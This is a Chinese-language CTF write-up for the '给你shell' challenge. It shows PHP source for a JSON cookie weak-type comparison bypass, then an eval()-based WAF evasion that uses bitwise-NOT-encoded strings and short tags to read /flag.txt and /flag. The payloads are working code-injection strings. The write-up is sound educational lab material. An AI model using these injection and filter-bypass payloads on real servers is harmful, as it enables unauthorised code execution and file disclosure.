[36D杯 2020]给你shell
打开题目查看源码发现 ?view_source 有源码,并且告诉我们flag在/flag.txt中:
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}
function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;
代码逻辑如下:
- 有个名为 secret 的 cookie,存的是 json
checkCookie()
函数要求这个 json 只有一对键值,并且不能有乱七八糟的其他符号- check 过了就会
json_decode()
并且保存在$obj
里 - 如果 secret 对应值和
$flag_md5
相等则给出 shell,不等则调用haveFun()
函数 haveFun()
函数的 for 循环中用 i 和 flag 的 md5 按位&
运算并输出结果
我们输入?give_me_shell
返回一串数字,就是haveFun($flag)
的内容:
0006464640064064646464006406464064640064006400000000000
我们测试一下haveFun()
函数干了什么:
<?php
$flag="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
function haveFun($_f_g) {
$_g_r = 36;
$_h_p = $_f_g;
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
echo $_i.",";
$_i = ord($_i);
print_r($_i & 0xC0);
echo "\t";
}
die;
}
haveFun($flag);
得到:
A,64 B,64 C,64 D,64 E,64 F,64 G,64 H,64 I,64 J,64 K,64 L,64 M,64 N,64 O,64 P,64 Q,64 R,64 S,64 T,64 U,64 V,64 W,64 X,64 Y,64 Z,64 0,0 1,0 2,0 3,0 4,0 5,0 6,0 7,0 8,0 9,0
可以看到,字母会输出64,数字会输出0,也就是说$flag_md5
的前三位是数字从第四位开始有字母出现。
弱类型
这里我们的目的是让$obj['secret'] != $flag_md5
不成立,从而输出$shell_path
,需要用到弱类型比较,想要弱类型就需要让$obj['secret']
的类型是数字,和$flag_md5
的字符型比较就会让$flag_md5
截断只保留下前三位,从而能让我们爆破三位数即可。
JSON 伪造
$obj['secret']
是在 cookie 的 JSON 进行 decode 得到的,然而直接这样的 JSON 会返回字符串,不能用弱类型:
{"secret":"100"}
可以来观察一下这个正则就发现了问题:
/^[\"0-9A-Z]*}$/
正则直接将引号放到了 []
里面,后面限定还是使用了星号,这意味着可以不使用双引号,对于没有双引号的话 json_decode()
就可以得到 int 了。直接 burp intruder 爆破:
Cookie:secret=%7B%22secret%22%3A§0§%
当{"serect":115}
的时候爆破成功,得到websehll路径w3b5HeLLlll123.php:
取反绕过
<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/
fuzz 黑名单就和做 SQL 注入时候 fuzz 一样,用 burp 或者自己写 Python 脚本,记得带上 session 不然会跳转,这是常规操作不展开说了,fuzz 结果如下:
- f、sys、include
- 括号、引号、分号
- ^ & 等运算符
- 空格 / \ $ ` * #等符号
这里的过滤十分严格,但是仍然有绕过的方法:
- 用
]=1?>
闭合掉前面的字符 - 用
<?=
短标签来绕过空格过滤 - 用
require
来包含文件 - 使用取反来构造我们要的字符串
echo urlencode(~"/flag.txt")
得到%d0%99%93%9e%98%d1%8b%87%8b
- 最后接上
?>
注释掉后面的内容
payload:
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
读到了 /flag.txt 的内容:可以,说明你ctfshow的红包2没白做,flag在/flag,同样的方法去读取吧。
最后同样读 /flag 的内容即可。
payload:
?code=]=1?><?=require~%d0%99%93%9e%98?>
懂了写的好好